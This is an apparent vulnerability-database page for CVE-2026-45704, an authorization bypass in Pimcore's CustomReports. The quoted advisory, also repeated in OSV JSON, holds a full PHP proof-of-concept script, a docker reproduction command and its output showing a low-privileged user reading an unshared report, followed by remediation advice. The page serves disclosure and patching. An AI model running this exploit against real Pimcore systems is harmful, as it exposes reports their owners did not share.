CVE-2026-45704: Pimcore/pimcore Pimcore Has A CustomReports Share Vulnerability

HIGH
Advisory Identifier: GHSA-jwcc-gv4m-93x6
CWE-863
Published
Advisory Summary

CVE-2026-45704 is a HIGH pimcore has a customreports share vulnerability (CWE-863: Incorrect Authorization) affecting Pimcore/pimcore libraries in the Packagist ecosystem. The issue involves pimcore has a customreports share bypass. Remediation is available by upgrading affected packages to version 12.3.6, 11.5.17, 2026.1.2.

CVE-2026-45704 at a Glance

CVE Identifier CVE-2026-45704
GHSA Identifier GHSA-jwcc-gv4m-93x6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-863: Incorrect Authorization
Affected Product Pimcore/pimcore
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-45704

To remediate this vulnerability, upgrade all affected Pimcore/pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pimcore/pimcore fixed: 12.3.6
Upgrade pimcore/pimcore to 12.3.6
pimcore/pimcore fixed: 11.5.17
Upgrade pimcore/pimcore to 11.5.17
pimcore/pimcore fixed: 2026.1.2
Upgrade pimcore/pimcore to 2026.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pimcore/pimcore

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45704, inspect your project dependencies for Pimcore/pimcore:

inspect dependencies for pimcore/pimcore

Analyze the terminal output to locate any version of Pimcore/pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Pimcore/pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint. - The listing flow filters reports based on report-sharing rules - The detail flow only checks generic `reports` or `reports_config` permissions As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list. In the local Docker reproduction: - The report `poc-secret-report` was not visible to the low-privileged user in the report list - The same user was still able to retrieve the report configuration directly by name ### Root Cause The listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`: - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245) - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253) - [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44) - [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52) However, `getAction()` only checks generic permissions and then loads the report directly by name: - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146) - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155) This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass. ### Impact An attacker can read sensitive report metadata without authorization, including: - Report name - Grouping information - Display and icon metadata - Data source configuration - Column configuration - Sharing settings From the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way: - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275) - [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284) - [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313) This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately. ### Preconditions - The attacker is an authenticated backend user - The attacker has the `reports` permission - The target report is not globally shared and is not shared with that user or the user's roles ### PoC ```php <?php declare(strict_types=1); use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController; use Pimcore\Controller\UserAwareController; use Pimcore\Model\User; use Pimcore\Model\Tool\SettingsStore; use Pimcore\Security\User\TokenStorageUserResolver; use Pimcore\Security\User\User as SecurityUser; use Pimcore\Serializer\Serializer as PimcoreSerializer; use Pimcore\Tool\Authentication; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage; require dirname(__DIR__) . '/vendor/autoload.php'; define('PIMCORE_PROJECT_ROOT', dirname(__DIR__)); try { \Pimcore\Bootstrap::bootstrap(); $kernel = new \App\Kernel('dev', true); \Pimcore::setKernel($kernel); $kernel->boot(); $container = $kernel->getContainer(); /** @var RequestStack $requestStack */ $requestStack = getService($container, [ RequestStack::class, 'request_stack', ]); $admin = User::getByName('admin'); if (!$admin instanceof User) { fail('admin user is missing'); } $auditor = User::getByName('auditor_customreports'); if (!$auditor instanceof User) { $auditor = new User(); $auditor->setParentId(0); $auditor->setName('auditor_customreports'); } $auditor->setAdmin(false); $auditor->setActive(true); $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass')); $auditor->setPermissions(['reports']); $auditor->setRoles([]); $auditor->save(); $timestamp = time(); SettingsStore::set( 'poc-secret-report', json_encode([ 'name' => 'poc-secret-report', 'niceName' => 'PoC Secret Report', 'group' => 'Audit', 'dataSourceConfig' => [['type' => 'sql']], 'columnConfiguration' => [], 'shareGlobally' => false, 'sharedUserNames' => ['admin'], 'sharedRoleNames' => [], 'menuShortcut' => true, 'creationDate' => $timestamp, 'modificationDate' => $timestamp, ], JSON_THROW_ON_ERROR), SettingsStore::TYPE_STRING, 'pimcore_custom_reports' ); $tokenResolver = buildTokenResolver($auditor); $controller = wireController(new CustomReportController(), $container, $tokenResolver); $listRequest = new Request(); $requestStack->push($listRequest); $listResponse = $controller->getReportConfigAction($listRequest); $requestStack->pop(); $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR); $getRequest = new Request(['name' => 'poc-secret-report']); $requestStack->push($getRequest); $getResponse = $controller->getAction($getRequest); $requestStack->pop(); $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR); $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []); echo json_encode([ 'vulnerability' => 'customreports_share_bypass', 'user' => [ 'id' => $auditor->getId(), 'name' => $auditor->getName(), 'permissions' => $auditor->getPermissions(), ], 'target_report' => [ 'name' => 'poc-secret-report', 'shared_to' => ['admin'], 'share_globally' => false, ], 'result' => [ 'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true), 'listed_report_names' => $listedNames, 'direct_get_returned_name' => $getData['name'] ?? null, 'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null, ], ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL; } catch (Throwable $e) { fail(sprintf( '%s: %s in %s:%d%s', $e::class, $e->getMessage(), $e->getFile(), $e->getLine(), $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : '' )); } function wireController( UserAwareController $controller, ContainerInterface $container, TokenStorageUserResolver $tokenResolver ): UserAwareController { $controller->setContainer($container); $controller->setTokenResolver($tokenResolver); if (method_exists($controller, 'setPimcoreSerializer')) { /** @var PimcoreSerializer $serializer */ $serializer = getService($container, [ PimcoreSerializer::class, 'Pimcore\\Serializer\\Serializer', ]); $controller->setPimcoreSerializer($serializer); } return $controller; } function buildTokenResolver(User $user): TokenStorageUserResolver { $tokenStorage = new TokenStorage(); $proxyUser = new SecurityUser($user); $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles()); $tokenStorage->setToken($token); return new TokenStorageUserResolver($tokenStorage); } function getService(ContainerInterface $container, array $ids): mixed { foreach ($ids as $id) { try { if ($container->has($id)) { return $container->get($id); } } catch (Throwable) { } } fail('Unable to resolve service: ' . implode(', ', $ids)); } function fail(string $message): never { fwrite(STDERR, $message . PHP_EOL); exit(1); } ``` ### Reproduction Steps 1. Create a low-privileged user named `auditor_customreports` with the `reports` permission. 2. Create a report named `poc-secret-report` with: - `shareGlobally = false` - `sharedUserNames = ['admin']` 3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent. 4. As the same user, call `getAction(name=poc-secret-report)` directly. 5. Verify that the response still contains the report configuration. Reproduction command: ```bash cd pimcore-12.3.3-repro docker compose exec -T php php poc_customreports.php ``` ### Reproduction Result Relevant PoC output: ```json { "vulnerability": "customreports_share_bypass", "user": { "name": "auditor_customreports", "permissions": [ "reports" ] }, "target_report": { "name": "poc-secret-report", "shared_to": [ "admin" ], "share_globally": false }, "result": { "report_visible_in_list": false, "listed_report_names": [], "direct_get_returned_name": "poc-secret-report", "direct_get_shared_user_names": [ "admin" ] } } ``` This shows that: - The current user cannot see the report in the visible report list - The same user can still retrieve the report configuration directly This confirms that the share-bypass issue is practically exploitable. ### Security Impact - Unauthorized disclosure of report configuration - Disclosure of sharing scope and internal report structure - Potential leakage of data-source and query organization details - Useful reconnaissance for follow-on unauthorized execution or export paths ### Remediation 1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`. 2. Centralize authorization into a single "can current user access this report?" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`. 3. Return `403` for unshared reports. 4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.

CVE-2026-45704 Affected Pimcore/pimcore Versions

3 component(s)
Fixed Versions:
12.3.611.5.172026.1.2
Product / Package Ecosystem Affected Versions Fixed Version
pimcore/pimcore
Packagist
≥ 12.0.0-RC1
< 12.3.6
12.3.6
pimcore/pimcore
Packagist
< 11.5.17
11.5.17
pimcore/pimcore
Packagist
≥ 2026.1.0
< 2026.1.2
2026.1.2

References

Frequently Asked Questions

What is CVE-2026-45704?
CVE-2026-45704 is a security vulnerability in Pimcore/pimcore involving Pimcore has a CustomReports Share Bypass under CWE-863: Incorrect Authorization.
Which Pimcore/pimcore versions are affected?
Affected versions include releases prior to 12.3.6, 11.5.17, 2026.1.2 across affected packages: pimcore/pimcore.
What version fixes CVE-2026-45704?
Upgrading to 12.3.6, 11.5.17, 2026.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pimcore/pimcore affected?
Yes, pimcore/pimcore is affected in releases prior to 12.3.6, 11.5.17, 2026.1.2. Upgrade your dependency to 12.3.6, 11.5.17, 2026.1.2 or later.
What CWE is associated with CVE-2026-45704?
CVE-2026-45704 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Packagist dependencies for CVE-2026-45704?
Run the dependency tree command: 'inspect dependencies for pimcore/pimcore'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jwcc-gv4m-93x6",
  "modified" : "2026-07-10T19:07:34Z",
  "published" : "2026-05-27T22:34:01Z",
  "aliases" : [ "CVE-2026-45704" ],
  "summary" : "Pimcore has a CustomReports Share Bypass",
  "details" : "### Summary\n\n`CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint.\n\n- The listing flow filters reports based on report-sharing rules\n- The detail flow only checks generic `reports` or `reports_config` permissions\n\nAs a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.\n\nIn the local Docker reproduction:\n\n- The report `poc-secret-report` was not visible to the low-privileged user in the report list\n- The same user was still able to retrieve the report configuration directly by name\n\n### Root Cause\n\nThe listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)\n- [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44)\n- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)\n\nHowever, `getAction()` only checks generic permissions and then loads the report directly by name:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)\n\nThis means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic \"not visible in list, but readable by direct request\" access-control bypass.\n\n### Impact\n\nAn attacker can read sensitive report metadata without authorization, including:\n\n- Report name\n- Grouping information\n- Display and icon metadata\n- Data source configuration\n- Column configuration\n- Sharing settings\n\nFrom the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)\n\nThis report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `reports` permission\n- The target report is not globally shared and is not shared with that user or the user's roles\n\n### PoC\n\n```php\n<?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\CustomReportsBundle\\Controller\\Reports\\CustomReportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Model\\Tool\\SettingsStore;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . '/vendor/autoload.php';\n\ndefine('PIMCORE_PROJECT_ROOT', dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel('dev', true);\n    \\Pimcore::setKernel($kernel);\n    $kernel->boot();\n\n    $container = $kernel->getContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        'request_stack',\n    ]);\n\n    $admin = User::getByName('admin');\n    if (!$admin instanceof User) {\n        fail('admin user is missing');\n    }\n\n    $auditor = User::getByName('auditor_customreports');\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor->setParentId(0);\n        $auditor->setName('auditor_customreports');\n    }\n\n    $auditor->setAdmin(false);\n    $auditor->setActive(true);\n    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));\n    $auditor->setPermissions(['reports']);\n    $auditor->setRoles([]);\n    $auditor->save();\n\n    $timestamp = time();\n    SettingsStore::set(\n        'poc-secret-report',\n        json_encode([\n            'name' => 'poc-secret-report',\n            'niceName' => 'PoC Secret Report',\n            'group' => 'Audit',\n            'dataSourceConfig' => [['type' => 'sql']],\n            'columnConfiguration' => [],\n            'shareGlobally' => false,\n            'sharedUserNames' => ['admin'],\n            'sharedRoleNames' => [],\n            'menuShortcut' => true,\n            'creationDate' => $timestamp,\n            'modificationDate' => $timestamp,\n        ], JSON_THROW_ON_ERROR),\n        SettingsStore::TYPE_STRING,\n        'pimcore_custom_reports'\n    );\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new CustomReportController(), $container, $tokenResolver);\n\n    $listRequest = new Request();\n    $requestStack->push($listRequest);\n    $listResponse = $controller->getReportConfigAction($listRequest);\n    $requestStack->pop();\n    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $getRequest = new Request(['name' => 'poc-secret-report']);\n    $requestStack->push($getRequest);\n    $getResponse = $controller->getAction($getRequest);\n    $requestStack->pop();\n    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);\n\n    echo json_encode([\n        'vulnerability' => 'customreports_share_bypass',\n        'user' => [\n            'id' => $auditor->getId(),\n            'name' => $auditor->getName(),\n            'permissions' => $auditor->getPermissions(),\n        ],\n        'target_report' => [\n            'name' => 'poc-secret-report',\n            'shared_to' => ['admin'],\n            'share_globally' => false,\n        ],\n        'result' => [\n            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),\n            'listed_report_names' => $listedNames,\n            'direct_get_returned_name' => $getData['name'] ?? null,\n            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        '%s: %s in %s:%d%s',\n        $e::class,\n        $e->getMessage(),\n        $e->getFile(),\n        $e->getLine(),\n        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller->setContainer($container);\n    $controller->setTokenResolver($tokenResolver);\n\n    if (method_exists($controller, 'setPimcoreSerializer')) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            'Pimcore\\\\Serializer\\\\Serializer',\n        ]);\n        $controller->setPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());\n    $tokenStorage->setToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container->has($id)) {\n                return $container->get($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail('Unable to resolve service: ' . implode(', ', $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_customreports` with the `reports` permission.\n2. Create a report named `poc-secret-report` with:\n   - `shareGlobally = false`\n   - `sharedUserNames = ['admin']`\n3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent.\n4. As the same user, call `getAction(name=poc-secret-report)` directly.\n5. Verify that the response still contains the report configuration.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php poc_customreports.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"customreports_share_bypass\",\n  \"user\": {\n    \"name\": \"auditor_customreports\",\n    \"permissions\": [\n      \"reports\"\n    ]\n  },\n  \"target_report\": {\n    \"name\": \"poc-secret-report\",\n    \"shared_to\": [\n      \"admin\"\n    ],\n    \"share_globally\": false\n  },\n  \"result\": {\n    \"report_visible_in_list\": false,\n    \"listed_report_names\": [],\n    \"direct_get_returned_name\": \"poc-secret-report\",\n    \"direct_get_shared_user_names\": [\n      \"admin\"\n    ]\n  }\n}\n```\n\nThis shows that:\n\n- The current user cannot see the report in the visible report list\n- The same user can still retrieve the report configuration directly\n\nThis confirms that the share-bypass issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of report configuration\n- Disclosure of sharing scope and internal report structure\n- Potential leakage of data-source and query organization details\n- Useful reconnaissance for follow-on unauthorized execution or export paths\n\n### Remediation\n\n1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`.\n2. Centralize authorization into a single \"can current user access this report?\" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`.\n3. Return `403` for unshared reports.\n4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "12.0.0-RC1"
      }, {
        "fixed" : "12.3.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 12.3.5"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "11.5.17"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 11.5.16"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2026.1.0"
      }, {
        "fixed" : "2026.1.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/pull/19099"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pimcore/pimcore"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/releases/tag/v12.3.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-27T22:34:01Z",
    "nvd_published_at" : null
  }
}